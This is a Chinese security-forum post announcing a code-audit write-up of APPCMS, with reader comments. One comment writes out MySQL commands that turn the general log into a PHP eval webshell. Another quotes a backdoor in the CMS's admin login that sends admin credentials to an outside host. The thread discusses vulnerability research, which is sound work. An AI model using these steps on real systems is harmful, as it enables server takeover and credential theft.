2017 十一月 17
分享下一个代码审计案例,主要是记录下审计的心历路程,期待和师傅们聊聊 打后台地址的各种骚姿势~

附件


# 附件名 大小 时间 操作
代码审计_APPCMS SQL-XSS-CSRF-SHELL.pdf 1.4 MB 11/17/2017

28824814485541

王海

思考很深入,值得学习

Lock

如果db是root权限, 1. show variables like '%general%'; 2. set global general_log = on; 3. set global general_log_file = '/path/shell.php'; 4. select '<?php eval($_POST[cmd]);?>' 将内容写到错误日志中,错误日志后缀为php,如果知道web路径的话,这样也可吧

Thinking

@Lock
这种情况是需要知道sql的root权限用户的密码,连接数据库再进行操作对吧,如果是放在我这篇中就是读取配置文件,获得sql的连接密码,在允许远程连接的情况下,就可以适用了。[机智]

Lock

@Thinking
我的理解是改了默认的db的log文件路径及后缀,然后发起一条sql操作,这时候sql的操作会被记录到日志文件中,而日志文件已经被定义到web目录下且被命名为.php结尾,这个时候的日志文件就是shell了

Thinking

@Lock
额。如果是这样的话,那就需要将日志文件改成.php才可以,但是一般是后台才能改这个东西把,在不知道后台地址的情况,就想到xss csrf

Lz1y

@Thinking
这就是phpmyadmin getshell的原理...

A7

之前也在cnvd上看到这个漏洞,还专门去审计了下结果硬是没审计出来,没想到‘HTTP_CLIENT_IP’是通过HTTP头的'CLIENT-IP'获取的,学习了。 不过之前在审计的时候发现判断管理登录的m__login()函数里面有这么一行代码,“@file_get_contents('http://www.dedecm.info/404/config/replace/w2.php?u...['uname'].'&password='.$user['upass'].'---安全码:'.$page['post']['safecode'].'----'.$_SERVER['REMOTE_ADDR'].'---'.date('Y-m-d|H:i:s').'---'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']);”,还是很有意思..

木禾

mysql大于5.5.53的话,默认情况下,LOAD_FILE那一步是拿不到数据的。只有在my.ini里配置【secure_file_priv=】,才行

Thinking

@木禾
谢谢提醒。GET[得意]